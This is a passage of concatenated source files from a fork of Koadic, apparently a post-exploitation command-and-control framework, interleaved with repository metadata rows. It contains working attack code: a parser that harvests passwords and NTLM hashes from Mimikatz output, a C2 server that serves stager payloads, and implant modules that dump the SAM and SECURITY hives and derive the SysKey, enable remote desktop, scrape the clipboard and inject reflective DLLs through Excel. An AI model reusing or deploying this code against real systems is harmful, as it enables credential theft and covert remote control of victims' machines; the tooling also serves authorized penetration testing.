try:
if "Authentication Id :" in data and ("sekurlsa::logonpasswords" in data.lower()
or "sekurlsa::msv" in data.lower()
or "sekurlsa::tspkg" in data.lower()
or "sekurlsa::wdigest" in data.lower()
or "sekurlsa::kerberos" in data.lower()
or "sekurlsa::ssp" in data.lower()
or "sekurlsa::credman" in data.lower()):
from tabulate import tabulate
nice_data = data.split('\n\n')
cred_headers = ["msv","tspkg","wdigest","kerberos","ssp","credman"]
msv_all = []
tspkg_all = []
wdigest_all = []
kerberos_all = []
ssp_all = []
credman_all = []
for section in nice_data:
if 'Authentication Id' in section:
msv = collections.OrderedDict()
tspkg = collections.OrderedDict()
wdigest = collections.OrderedDict()
kerberos = collections.OrderedDict()
ssp = collections.OrderedDict()
credman = collections.OrderedDict()
for index, cred_header in enumerate(cred_headers):
cred_dict = locals().get(cred_header)
try:
cred_sec1 = section.split(cred_header+" :\t")[1]
except:
continue
if index < len(cred_headers)-1:
cred_sec = cred_sec1.split("\t"+cred_headers[index+1]+" :")[0].splitlines()
else:
cred_sec = cred_sec1.splitlines()
for line in cred_sec:
if '\t *' in line:
cred_dict[line.split("* ")[1].split(":")[0].rstrip()] = line.split(": ")[1].split("\n")[0]
if cred_dict:
cred_list = locals().get(cred_header+"_all")
cred_list.append(cred_dict)
for cred_header in cred_headers:
cred_list = locals().get(cred_header+"_all")
tmp = [collections.OrderedDict(t) for t in set([tuple(d.items()) for d in cred_list])]
del cred_list[:]
cred_list.extend(tmp)
parsed_data = "Results\n\n"
for cred_header in cred_headers:
banner = cred_header+" credentials\n"+(len(cred_header)+12)*"="+"\n\n"
cred_dict = locals().get(cred_header+"_all")
if not cred_dict:
continue
cred_dict = sorted(cred_dict, key=lambda k: k['Username'])
ckeys = []
[[ckeys.append(k) for k in row if k not in ckeys] for row in cred_dict]
for cred in cred_dict:
key = tuple([cred["Domain"].lower(), cred["Username"].lower()])
domains = [j for i in self.shell.domain_info for j in i]
if cred["Domain"].lower() in domains:
domain_key = [i for i in self.shell.domain_info if cred["Domain"].lower() in i][0]
other_domain = [i for i in domain_key if i != cred["Domain"].lower()][0]
else:
other_domain = ""
other_key = tuple([other_domain, cred["Username"].lower()])
my_key = ""
for creds_key in self.shell.creds_keys:
if creds_key == key or creds_key == other_key:
my_key = creds_key
if not my_key:
self.shell.creds_keys.append(key)
c = self.new_cred()
c["IP"] = self.session.ip
for subkey in cred:
c[subkey] = cred[subkey]
if "\\" in c["Username"]:
c["Username"] = c["Username"].split("\\")[1]
if "\\" in c["Domain"]:
c["Domain"] = c["Domain"].split("\\")[0]
if c["Password"] == "(null)":
c["Password"] = ""
if c["NTLM"].lower() == "d5024392098eb98bcc70051c47c6fbb2":
# https://twitter.com/TheColonial/status/993599227686088704
# Did you think this was some kind of game, OJ?
c["Password"] = "(null)"
self.shell.creds[key] = c
else:
key = my_key
if self.session.ip != self.shell.creds[key]["IP"] and self.session.ip not in self.shell.creds[key]["Extra"]["IP"]:
self.shell.creds[key]["Extra"]["IP"].append(self.session.ip)
if "Password" in cred:
cpass = cred["Password"]
if not self.shell.creds[key]["Password"] and cpass != "(null)" and cpass:
self.shell.creds[key]["Password"] = cpass
elif self.shell.creds[key]["Password"] != cpass and cpass != "(null)" and cpass:
if cpass not in self.shell.creds[key]["Extra"]["Password"]:
self.shell.creds[key]["Extra"]["Password"].append(cpass)
if "NTLM" in cred:
cntlm = cred["NTLM"]
if not self.shell.creds[key]["NTLM"]:
self.shell.creds[key]["NTLM"] = cntlm
if cntlm.lower() == "d5024392098eb98bcc70051c47c6fbb2":
self.shell.creds[key]["Password"] = "(null)"
elif self.shell.creds[key]["NTLM"] != cntlm and cntlm:
if cntlm not in self.shell.creds[key]["Extra"]["NTLM"]:
self.shell.creds[key]["Extra"]["NTLM"].append(cntlm)
if "SHA1" in cred:
csha1 = cred["SHA1"]
if not self.shell.creds[key]["SHA1"]:
self.shell.creds[key]["SHA1"] = csha1
elif self.shell.creds[key]["SHA1"] != csha1 and csha1:
if csha1 not in self.shell.creds[key]["Extra"]["SHA1"]:
self.shell.creds[key]["Extra"]["SHA1"].append(csha1)
if "DPAPI" in cred:
cdpapi = cred["DPAPI"]
if not self.shell.creds[key]["DPAPI"]:
self.shell.creds[key]["DPAPI"] = cdpapi
elif self.shell.creds[key]["DPAPI"] != cdpapi and cdpapi:
if cdpapi not in self.shell.creds[key]["Extra"]["DPAPI"]:
self.shell.creds[key]["Extra"]["DPAPI"].append(cdpapi)
separators = collections.OrderedDict([(k, "-"*len(k)) for k in ckeys])
cred_dict = [separators] + cred_dict
parsed_data += banner
parsed_data += tabulate(cred_dict, headers="keys", tablefmt="plain")
parsed_data += "\n\n"
data = parsed_data
if "SAMKey :" in data and "lsadump::sam" in data.lower():
domain = data.split("Domain : ")[1].split("\n")[0]
parsed_data = data.split("\n\n")
for section in parsed_data:
if "RID :" in section:
c = self.new_cred()
c["IP"] = self.session.ip
c["Username"] = section.split("User : ")[1].split("\n")[0]
c["Domain"] = domain
lm = ""
ntlm = ""
if "Hash LM: " in section:
lm = section.split("Hash LM: ")[1].split("\n")[0]
if "Hash NTLM: " in section:
ntlm = section.split("Hash NTLM: ")[1].split("\n")[0]
key = tuple([c["Domain"].lower(), c["Username"].lower()])
domains = [j for i in self.shell.domain_info for j in i]
if c["Domain"].lower() in domains:
domain_key = [i for i in self.shell.domain_info if c["Domain"].lower() in i][0]
other_domain = [i for i in domain_key if i != c["Domain"].lower()][0]
else:
other_domain = ""
other_key = tuple([other_domain, c["Username"].lower()])
my_key = ""
for creds_key in self.shell.creds_keys:
if creds_key == key or creds_key == other_key:
my_key = creds_key
if not my_key:
self.shell.creds_keys.append(key)
c["NTLM"] = ntlm
c["LM"] = lm
self.shell.creds[key] = c
else:
key = my_key
if c["IP"] != self.shell.creds[key]["IP"] and c["IP"] not in self.shell.creds[key]["Extra"]["IP"]:
self.shell.creds[key]["Extra"]["IP"].append(c["IP"])
if not self.shell.creds[key]["NTLM"] and ntlm:
self.shell.creds[key]["NTLM"] = ntlm
elif self.shell.creds[key]["NTLM"] != ntlm and ntlm:
if ntlm not in self.shell.creds[key]["Extra"]["NTLM"]:
self.shell.creds[key]["Extra"]["NTLM"].append(ntlm)
if not self.shell.creds[key]["LM"] and lm:
self.shell.creds[key]["LM"] = lm
elif self.shell.creds[key]["LM"] != lm and lm:
if lm not in self.shell.creds[key]["Extra"]["LM"]:
self.shell.creds[key]["Extra"]["LM"].append(lm)
return data
except Exception as e:
data += "\n\n\n"
data += traceback.format_exc()
return data
| {"/modules/implant/util/upload_file.py": ["/core/implant.py"], "/modules/implant/gather/windows_key.py": ["/core/implant.py"], "/modules/stager/vbscript.py": ["/core/payload.py"], "/modules/implant/fun/voice.py": ["/core/implant.py"], "/modules/implant/pivot/exec_wmic.py": ["/core/implant.py"], "/modules/implant/inject/reflectdll_excel.py": ["/core/implant.py"], "/core/server.py": ["/core/loader.py", "/core/payload.py"], "/modules/implant/manage/enable_rdesktop.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_sam.py": ["/core/implant.py"], "/modules/implant/gather/clipboard.py": ["/core/implant.py"], "/modules/implant/util/download_file.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_dc.py": ["/core/implant.py"], "/modules/implant/manage/exec_cmd.py": ["/core/implant.py"], "/modules/implant/pivot/exec_psexec.py": ["/core/implant.py"]} |
46,071 | khast3x/koadic | refs/heads/master | /core/cidr.py | # Parts of this file are:
# Copyright (c) 2007 Brandon Sterne
# 2015 Updates by Rafe Colburn
# Licensed under the MIT license.
# http://brandon.sternefamily.net/files/mit-license.txt
# CIDR Block Converter - 2007
def ip2bin(ip):
b = ""
inQuads = ip.split(".")
outQuads = 4
for q in inQuads:
if q != "":
b += dec2bin(int(q),8)
outQuads -= 1
while outQuads > 0:
b += "00000000"
outQuads -= 1
return b
def dec2bin(n,d=None):
s = ""
while n>0:
if n&1:
s = "1"+s
else:
s = "0"+s
n >>= 1
if d is not None:
while len(s)<d:
s = "0"+s
if s == "": s = "0"
return s
def bin2ip(b):
ip = ""
for i in range(0,len(b),8):
ip += str(int(b[i:i+8],2))+"."
return ip[:-1]
def parse_cidr(str):
splitted = str.split("/")
if len(splitted) > 2:
raise ValueError
if len(splitted) == 1:
subnet = 32
else:
subnet = int(splitted[1])
if subnet > 32:
raise ValueError
str_ip = splitted[0]
ip = str_ip.split(".")
if len(ip) != 4:
raise ValueError
for i in ip:
if int(i) < 0 or int(i) > 255:
raise ValueError
if subnet == 32:
return [str_ip]
bin_ip = ip2bin(str_ip)
ip_prefix = bin_ip[:-(32-subnet)]
ret = []
for i in range(2**(32-subnet)):
ret.append(bin2ip(ip_prefix+dec2bin(i, (32-subnet))))
return ret
def get_ports(str):
ports = []
for x in str.split(","):
x = x.strip()
if "-" in x:
x = x.split("-")
if len(x) > 2:
raise ValueError
if int(x[0]) < 0 or int(x[0]) > 65535:
raise ValueError
if int(x[1]) < 0 or int(x[1]) + 1 > 65535:
raise ValueError
if int(x[0]) > int(x[1]) + 1:
raise ValueError
ports += range(int(x[0]), int(x[1]) + 1)
else:
if int(x) < 0 or int(x) > 65535:
raise ValueError
ports.append(int(x))
return ports
def get_ips(str):
ips = []
for x in str.split(","):
ips += parse_cidr(x.strip())
return ips
if __name__ == "__main__":
ips = get_ips("127.0.0.1,192.168.0.0/24,10.0.0.40/28")
print(ips)
ports = get_ports("4444,1-100,5432")
print(ports)
| {"/modules/implant/util/upload_file.py": ["/core/implant.py"], "/modules/implant/gather/windows_key.py": ["/core/implant.py"], "/modules/stager/vbscript.py": ["/core/payload.py"], "/modules/implant/fun/voice.py": ["/core/implant.py"], "/modules/implant/pivot/exec_wmic.py": ["/core/implant.py"], "/modules/implant/inject/reflectdll_excel.py": ["/core/implant.py"], "/core/server.py": ["/core/loader.py", "/core/payload.py"], "/modules/implant/manage/enable_rdesktop.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_sam.py": ["/core/implant.py"], "/modules/implant/gather/clipboard.py": ["/core/implant.py"], "/modules/implant/util/download_file.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_dc.py": ["/core/implant.py"], "/modules/implant/manage/exec_cmd.py": ["/core/implant.py"], "/modules/implant/pivot/exec_psexec.py": ["/core/implant.py"]} |
46,072 | khast3x/koadic | refs/heads/master | /core/commands/listeners.py | DESCRIPTION = "shows info about stagers"
def autocomplete(shell, line, text, state):
pass
def help(shell):
pass
def print_all_payloads(shell):
if len(shell.stagers) == 0:
shell.print_error("No payloads yet.")
return
shell.print_plain("")
formats = "\t{0:<5}{1:<16}{2:<8}{3:<20}"
shell.print_plain(formats.format("ID", "IP", "PORT", "TYPE"))
shell.print_plain(formats.format("----", "---------", "-----", "-------"))
for stager in shell.stagers:
#shell.print_plain("")
payload = stager.get_payload().decode()
shell.print_plain(formats.format(stager.payload_id, stager.hostname, stager.port, stager.module))
shell.print_plain("")
shell.print_plain('Use "listeners %s" to print a payload' % shell.colors.colorize("ID", [shell.colors.BOLD]))
shell.print_plain("")
def print_payload(shell, id):
for stager in shell.stagers:
if str(stager.payload_id) == id:
payload = stager.get_payload().decode()
#shell.print_good("%s" % stager.options.get("URL"))
shell.print_command("%s" % payload)
#shell.print_plain("")
return
shell.print_error("No payload %s." % id)
def execute(shell, cmd):
splitted = cmd.split()
if len(splitted) > 1:
id = splitted[1]
print_payload(shell, id)
return
print_all_payloads(shell)
| {"/modules/implant/util/upload_file.py": ["/core/implant.py"], "/modules/implant/gather/windows_key.py": ["/core/implant.py"], "/modules/stager/vbscript.py": ["/core/payload.py"], "/modules/implant/fun/voice.py": ["/core/implant.py"], "/modules/implant/pivot/exec_wmic.py": ["/core/implant.py"], "/modules/implant/inject/reflectdll_excel.py": ["/core/implant.py"], "/core/server.py": ["/core/loader.py", "/core/payload.py"], "/modules/implant/manage/enable_rdesktop.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_sam.py": ["/core/implant.py"], "/modules/implant/gather/clipboard.py": ["/core/implant.py"], "/modules/implant/util/download_file.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_dc.py": ["/core/implant.py"], "/modules/implant/manage/exec_cmd.py": ["/core/implant.py"], "/modules/implant/pivot/exec_psexec.py": ["/core/implant.py"]} |
46,073 | khast3x/koadic | refs/heads/master | /modules/implant/inject/reflectdll_excel.py | import core.implant
class ExcelReflectJob(core.job.Job):
def done(self):
self.display()
def display(self):
pass
#self.shell.print_plain(str(self.errno))
class ExcelReflectImplant(core.implant.Implant):
NAME = "Reflective DLL via Excel"
DESCRIPTION = "Executes an arbitrary reflective DLL."
AUTHORS = ["RiskSense, Inc."]
def load(self):
self.options.register("DLLPATH", "", "the DLL to inject", required=True)
def run(self):
workloads = {}
#workloads["vbs"] = self.load_script("data/implant/manage/enable_rdesktop.vbs", self.options)
workloads["js"] = self.loader.load_script("data/implant/inject/reflectdll_excel.js", self.options)
self.dispatch(workloads, ExcelReflectJob)
| {"/modules/implant/util/upload_file.py": ["/core/implant.py"], "/modules/implant/gather/windows_key.py": ["/core/implant.py"], "/modules/stager/vbscript.py": ["/core/payload.py"], "/modules/implant/fun/voice.py": ["/core/implant.py"], "/modules/implant/pivot/exec_wmic.py": ["/core/implant.py"], "/modules/implant/inject/reflectdll_excel.py": ["/core/implant.py"], "/core/server.py": ["/core/loader.py", "/core/payload.py"], "/modules/implant/manage/enable_rdesktop.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_sam.py": ["/core/implant.py"], "/modules/implant/gather/clipboard.py": ["/core/implant.py"], "/modules/implant/util/download_file.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_dc.py": ["/core/implant.py"], "/modules/implant/manage/exec_cmd.py": ["/core/implant.py"], "/modules/implant/pivot/exec_psexec.py": ["/core/implant.py"]} |
46,074 | khast3x/koadic | refs/heads/master | /core/linter.py | class Linter(object):
def __init__(self):
pass
def prepend_stdlib(self, script):
with open("data/stdlib.vbs", "rb") as f:
stdlib = f.read().lower()
return stdlib + script
def minimize_glyph(self, script, glyph):
orig_script = script
script = script.replace(glyph + b" ", glyph)
script = script.replace(b" " + glyph, glyph)
if orig_script != script:
return self.minimize_glyph(script,glyph)
return script
def minimize_script(self, script):
if type(script) != bytes:
script = script.encode()
lines = []
script = script.replace(b"\r", b"")
script = self.minimize_glyph(script, b",")
script = self.minimize_glyph(script, b"=")
script = self.minimize_glyph(script, b"(")
script = self.minimize_glyph(script, b")")
script = self.minimize_glyph(script, b":")
script = self.minimize_glyph(script, b"&")
script = self.minimize_glyph(script, b"<")
script = self.minimize_glyph(script, b">")
for line in script.split(b"\n"):
line = line.split(b"'")[0]
line = line.strip()
if line:
lines.append(line)
return b":".join(lines).lower()
"""
def _remove_usage(self, line, stdlib, script, keyword):
line = line.strip()
start = keyword + " "
end = "end " + keyword
if line.startswith(keyword + " "):
name = line.split(start)[1].split("(")[0]
if name not in script.lower():
part1 = stdlib.split(line)[0]
part2 = part1.split[1].split(end)
stdlib = part1 + part2
return stdlib
"""
| {"/modules/implant/util/upload_file.py": ["/core/implant.py"], "/modules/implant/gather/windows_key.py": ["/core/implant.py"], "/modules/stager/vbscript.py": ["/core/payload.py"], "/modules/implant/fun/voice.py": ["/core/implant.py"], "/modules/implant/pivot/exec_wmic.py": ["/core/implant.py"], "/modules/implant/inject/reflectdll_excel.py": ["/core/implant.py"], "/core/server.py": ["/core/loader.py", "/core/payload.py"], "/modules/implant/manage/enable_rdesktop.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_sam.py": ["/core/implant.py"], "/modules/implant/gather/clipboard.py": ["/core/implant.py"], "/modules/implant/util/download_file.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_dc.py": ["/core/implant.py"], "/modules/implant/manage/exec_cmd.py": ["/core/implant.py"], "/modules/implant/pivot/exec_psexec.py": ["/core/implant.py"]} |
46,075 | khast3x/koadic | refs/heads/master | /core/server.py | try:
from SocketServer import ThreadingMixIn
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
except:
# why is python3 so terrible for backward compatibility?
from socketserver import ThreadingMixIn
from http.server import BaseHTTPRequestHandler, HTTPServer
import core.handler
import core.session
import core.loader
import core.payload
import socket
import random
import threading
import os
import ssl
import io
import time
import datetime
import copy
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
pass
class Server(threading.Thread):
def __init__(self, stager, handler):
threading.Thread.__init__(self)
self.daemon = True
self.loader = core.loader
self.sessions = []
self.stager = stager
self.shell = stager.shell
self.module = self.shell.state
self.payload = stager.options.get("_STAGECMD_")
self.payload_id = core.payload.Payload().id
self.handler_class = handler
self._create_options()
self._setup_server()
def _setup_server(self):
self.http = ThreadedHTTPServer(('0.0.0.0', int(self.options.get('SRVPORT'))), self.handler_class)
self.http.timeout = None
self.http.daemon_threads = True
self.http.server = self
self.http.stager = self.stager
self.is_https = False
keyt = self.options.get('KEYPATH')
cert = self.options.get('CERTPATH')
if cert and cert != "" and keyt and keyt != "":
self.is_https = True
cert = os.path.abspath(cert)
self.http.socket = ssl.wrap_socket(self.http.socket, keyfile=keyt, certfile=cert, server_side = True)
url = self._build_url()
self.options.register("URL", url, "url to the stager", hidden=True)
def _create_options(self):
self.options = copy.deepcopy(self.stager.options)
self.options.register("SESSIONKEY", "", "unique key for a session", hidden=True)
self.options.register("JOBKEY", "", "unique key for a job", hidden=True)
def print_payload(self):
self.shell.print_command(self.get_payload().decode())
def get_session(self, key):
for session in self.sessions:
if session.key == key:
return session
return None
def get_payload(self):
#fixed = []
#for payload in self.payloads:
payload = self.payload
payload = self.loader.apply_options(payload, self.options)
#payload = payload.replace(b"~URL~", self.options.get("URL").encode())
#fixed.append(payload)
return payload
def _build_url(self):
hostname = self.options.get("SRVHOST")
if hostname == '0.0.0.0':
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.connect(('8.8.8.8', 80))
hostname = s.getsockname()[0]
finally:
s.close()
#self.hostname = "127.0.0.1"
self.hostname = hostname
self.port = str(self.options.get("SRVPORT"))
prefix = "https" if self.is_https else "http"
url = prefix + "://" + self.hostname + ':' + self.port
endpoint = self.options.get("ENDPOINT").strip()
if len(endpoint) > 0:
url += "/" + endpoint
return url
def run(self):
try:
self.http.serve_forever()
except:
pass
def shutdown(self):
# shut down the server/socket
self.http.shutdown()
self.http.socket.close()
self.http.server_close()
self._Thread__stop()
# make sure all the threads are killed
for thread in threading.enumerate():
if thread.isAlive():
try:
thread._Thread__stop()
except:
pass
| {"/modules/implant/util/upload_file.py": ["/core/implant.py"], "/modules/implant/gather/windows_key.py": ["/core/implant.py"], "/modules/stager/vbscript.py": ["/core/payload.py"], "/modules/implant/fun/voice.py": ["/core/implant.py"], "/modules/implant/pivot/exec_wmic.py": ["/core/implant.py"], "/modules/implant/inject/reflectdll_excel.py": ["/core/implant.py"], "/core/server.py": ["/core/loader.py", "/core/payload.py"], "/modules/implant/manage/enable_rdesktop.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_sam.py": ["/core/implant.py"], "/modules/implant/gather/clipboard.py": ["/core/implant.py"], "/modules/implant/util/download_file.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_dc.py": ["/core/implant.py"], "/modules/implant/manage/exec_cmd.py": ["/core/implant.py"], "/modules/implant/pivot/exec_psexec.py": ["/core/implant.py"]} |
46,076 | khast3x/koadic | refs/heads/master | /core/commands/run.py | DESCRIPTION = "runs the current module"
def autocomplete(shell, line, text, state):
return None
def help(shell):
pass
def execute(shell, cmd):
try:
env = shell.plugins[shell.state]
env.run()
except KeyboardInterrupt:
return
| {"/modules/implant/util/upload_file.py": ["/core/implant.py"], "/modules/implant/gather/windows_key.py": ["/core/implant.py"], "/modules/stager/vbscript.py": ["/core/payload.py"], "/modules/implant/fun/voice.py": ["/core/implant.py"], "/modules/implant/pivot/exec_wmic.py": ["/core/implant.py"], "/modules/implant/inject/reflectdll_excel.py": ["/core/implant.py"], "/core/server.py": ["/core/loader.py", "/core/payload.py"], "/modules/implant/manage/enable_rdesktop.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_sam.py": ["/core/implant.py"], "/modules/implant/gather/clipboard.py": ["/core/implant.py"], "/modules/implant/util/download_file.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_dc.py": ["/core/implant.py"], "/modules/implant/manage/exec_cmd.py": ["/core/implant.py"], "/modules/implant/pivot/exec_psexec.py": ["/core/implant.py"]} |
46,077 | khast3x/koadic | refs/heads/master | /core/loader.py | import os
import sys
import inspect
import core.plugin
def load_plugins(dir, instantiate = False, shell = None):
plugins = {}
for root, dirs, files in os.walk(dir):
sys.path.append(root)
# make forward slashes on windows
module_root = root.replace(dir, "").replace("\\", "/")
#if (module_root.startswith("/")):
#module_root = module_root[1:]
#print root
for file in files:
if not file.endswith(".py"):
continue
if file in ["__init__.py"]:
continue
file = file.rsplit(".py", 1)[0]
pname = module_root + "/" + file
if (pname.startswith("/")):
pname = pname[1:]
if instantiate:
if pname in sys.modules:
del sys.modules[pname]
env = __import__(file, )
for name, obj in inspect.getmembers(env):
if inspect.isclass(obj) and issubclass(obj, core.plugin.Plugin):
plugins[pname] = obj(shell)
break
else:
plugins[pname] = __import__(file)
sys.path.remove(root)
return plugins
def load_script(path, options = None, minimize = True):
with open(path, "rb") as f:
script = f.read().strip()
#script = self.linter.prepend_stdlib(script)
#if minimize:
#script = self.linter.minimize_script(script)
script = apply_options(script, options)
return script
def apply_options(script, options = None):
if options is not None:
for option in options.options:
name = "~%s~" % option.name
val = str(option.value).encode()
script = script.replace(name.encode(), val)
script = script.replace(name.lower().encode(), val)
return script
| {"/modules/implant/util/upload_file.py": ["/core/implant.py"], "/modules/implant/gather/windows_key.py": ["/core/implant.py"], "/modules/stager/vbscript.py": ["/core/payload.py"], "/modules/implant/fun/voice.py": ["/core/implant.py"], "/modules/implant/pivot/exec_wmic.py": ["/core/implant.py"], "/modules/implant/inject/reflectdll_excel.py": ["/core/implant.py"], "/core/server.py": ["/core/loader.py", "/core/payload.py"], "/modules/implant/manage/enable_rdesktop.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_sam.py": ["/core/implant.py"], "/modules/implant/gather/clipboard.py": ["/core/implant.py"], "/modules/implant/util/download_file.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_dc.py": ["/core/implant.py"], "/modules/implant/manage/exec_cmd.py": ["/core/implant.py"], "/modules/implant/pivot/exec_psexec.py": ["/core/implant.py"]} |
46,078 | khast3x/koadic | refs/heads/master | /modules/implant/manage/enable_rdesktop.py | import core.job
import core.implant
import uuid
class EnableRDesktopJob(core.job.Job):
def done(self):
self.display()
def display(self):
pass
#self.shell.print_plain(str(self.errno))
class EnableRDesktopImplant(core.implant.Implant):
NAME = "Enable Remote Desktop"
DESCRIPTION = "Enables RDP on the target system."
AUTHORS = ["RiskSense, Inc."]
def load(self):
self.options.register("ENABLE", "true", "toggle to enable or disable", enum=["true", "false"])
self.options.register("MODE", "", "the value for this script", hidden=True)
def run(self):
mode = "0" if self.options.get("ENABLE") == "true" else "1"
self.options.set("MODE", mode)
workloads = {}
#workloads["vbs"] = self.load_script("data/implant/manage/enable_rdesktop.vbs", self.options)
workloads["js"] = self.loader.load_script("data/implant/manage/enable_rdesktop.js", self.options)
self.dispatch(workloads, EnableRDesktopJob)
| {"/modules/implant/util/upload_file.py": ["/core/implant.py"], "/modules/implant/gather/windows_key.py": ["/core/implant.py"], "/modules/stager/vbscript.py": ["/core/payload.py"], "/modules/implant/fun/voice.py": ["/core/implant.py"], "/modules/implant/pivot/exec_wmic.py": ["/core/implant.py"], "/modules/implant/inject/reflectdll_excel.py": ["/core/implant.py"], "/core/server.py": ["/core/loader.py", "/core/payload.py"], "/modules/implant/manage/enable_rdesktop.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_sam.py": ["/core/implant.py"], "/modules/implant/gather/clipboard.py": ["/core/implant.py"], "/modules/implant/util/download_file.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_dc.py": ["/core/implant.py"], "/modules/implant/manage/exec_cmd.py": ["/core/implant.py"], "/modules/implant/pivot/exec_psexec.py": ["/core/implant.py"]} |
46,079 | khast3x/koadic | refs/heads/master | /modules/implant/gather/hashdump_sam.py | import core.implant
class HashDumpSAMImplant(core.implant.Implant):
NAME = "SAM Hash Dump"
DESCRIPTION = "Dumps the SAM hive off the target system."
AUTHORS = ["zerosum0x0"]
def load(self):
self.options.register("LPATH", "/tmp/", "local file save path")
self.options.register("RPATH", "%TEMP%", "remote file save path")
def run(self):
payloads = {}
payloads["js"] = self.loader.load_script("data/implant/gather/hashdump_sam.js", self.options)
self.dispatch(payloads, HashDumpSAMJob)
class HashDumpSAMJob(core.job.Job):
def save_file(self, data, name):
import uuid
save_fname = self.options.get("LPATH") + "/" + name + "." + self.session.ip + "." + uuid.uuid4().hex
save_fname = save_fname.replace("//", "/")
with open(save_fname, "wb") as f:
data = self.decode_downloaded_data(data)
f.write(data)
return save_fname
def report(self, handler, data, sanitize = False):
task = handler.get_header("Task", False)
if task == "SAM":
handler.reply(200)
self.print_status("received SAM hive (%d bytes)" % len(data))
self.sam_data = data
return
# if task == "SYSTEM":
# handler.reply(200)
# self.print_status("received SYSTEM hive (%d bytes)" % len(data))
# self.system_data = data
# return
if task == "SysKey":
handler.reply(200)
self.print_status("received SysKey (%d bytes)" % len(data))
self.syskey_data = data
return
if task == "SECURITY":
handler.reply(200)
self.print_status("received SECURITY hive (%d bytes)" % len(data))
self.security_data = data
return
# dump sam here
import threading
self.finished = False
threading.Thread(target=self.finish_up).start()
handler.reply(200)
def finish_up(self):
from subprocess import Popen, PIPE, STDOUT
# p = Popen(["which", "secretsdump.py"], stdout=PIPE)
# path = p.communicate()[0].strip()
# path = path.decode() if type(path) is bytes else path
# if not path:
# print("Error decoding: secretsdump.py not in PATH!")
# return
path = "data/impacket/examples/secretsdump.py"
self.sam_file = self.save_file(self.sam_data, "SAM")
self.print_status("decoded SAM hive (%s)" % self.sam_file)
self.security_file = self.save_file(self.security_data, "SECURITY")
self.print_status("decoded SECURITY hive (%s)" % self.security_file)
# self.system_file = self.save_file(self.system_data, "SYSTEM")
# self.print_status("decoded SYSTEM hive (%s)" % self.system_file)
self.syskey_data_file = self.save_file(self.syskey_data, "SYSKEY")
tmp_syskey = ""
self.syskey = ""
with open(self.syskey_data_file, 'rb') as syskeyfile:
file_contents = syskeyfile.read()
i = 4220
while i < 28811:
j = i + 15
while i < j:
tmp_syskey += file_contents[i:i+1].decode()
i += 2
i += 8176
tmp_syskey = list(map(''.join, zip(*[iter(tmp_syskey)]*2)))
transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
for i in transforms:
self.syskey += tmp_syskey[i]
self.print_status("decoded SysKey: 0x%s" % self.syskey)
# cmd = ['python2', path, '-sam', self.sam_file, '-system', self.system_file, '-security', self.security_file, 'LOCAL']
cmd = ['python2', path, '-sam', self.sam_file, '-bootkey', self.syskey, '-security', self.security_file, 'LOCAL']
p = Popen(cmd, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True, env={"PYTHONPATH": "./data/impacket"})
output = p.stdout.read().decode()
self.shell.print_plain(output)
cp = core.cred_parser.CredParse(self)
cp.parse_hashdump_sam(output)
super(HashDumpSAMJob, self).report(None, "", False)
def done(self):
#self.display()
pass
def display(self):
pass
| {"/modules/implant/util/upload_file.py": ["/core/implant.py"], "/modules/implant/gather/windows_key.py": ["/core/implant.py"], "/modules/stager/vbscript.py": ["/core/payload.py"], "/modules/implant/fun/voice.py": ["/core/implant.py"], "/modules/implant/pivot/exec_wmic.py": ["/core/implant.py"], "/modules/implant/inject/reflectdll_excel.py": ["/core/implant.py"], "/core/server.py": ["/core/loader.py", "/core/payload.py"], "/modules/implant/manage/enable_rdesktop.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_sam.py": ["/core/implant.py"], "/modules/implant/gather/clipboard.py": ["/core/implant.py"], "/modules/implant/util/download_file.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_dc.py": ["/core/implant.py"], "/modules/implant/manage/exec_cmd.py": ["/core/implant.py"], "/modules/implant/pivot/exec_psexec.py": ["/core/implant.py"]} |
46,080 | khast3x/koadic | refs/heads/master | /modules/implant/gather/clipboard.py | import core.job
import core.implant
import uuid
class ClipboardJob(core.job.Job):
def done(self):
self.display()
def display(self):
self.shell.print_plain("Clipboard contents:")
self.shell.print_plain(self.data)
class ClipboardImplant(core.implant.Implant):
NAME = "Scrape Clipboard"
DESCRIPTION = "Gets the contents of the clipboard"
AUTHORS = ["RiskSense, Inc."]
def load(self):
pass
def run(self):
payloads = {}
payloads["js"] = self.loader.load_script("data/implant/gather/clipboard.js", self.options)
self.dispatch(payloads, ClipboardJob)
| {"/modules/implant/util/upload_file.py": ["/core/implant.py"], "/modules/implant/gather/windows_key.py": ["/core/implant.py"], "/modules/stager/vbscript.py": ["/core/payload.py"], "/modules/implant/fun/voice.py": ["/core/implant.py"], "/modules/implant/pivot/exec_wmic.py": ["/core/implant.py"], "/modules/implant/inject/reflectdll_excel.py": ["/core/implant.py"], "/core/server.py": ["/core/loader.py", "/core/payload.py"], "/modules/implant/manage/enable_rdesktop.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_sam.py": ["/core/implant.py"], "/modules/implant/gather/clipboard.py": ["/core/implant.py"], "/modules/implant/util/download_file.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_dc.py": ["/core/implant.py"], "/modules/implant/manage/exec_cmd.py": ["/core/implant.py"], "/modules/implant/pivot/exec_psexec.py": ["/core/implant.py"]} |
46,081 | khast3x/koadic | refs/heads/master | /core/commands/use.py | DESCRIPTION = "switch to a different module"
def autocomplete(shell, line, text, state):
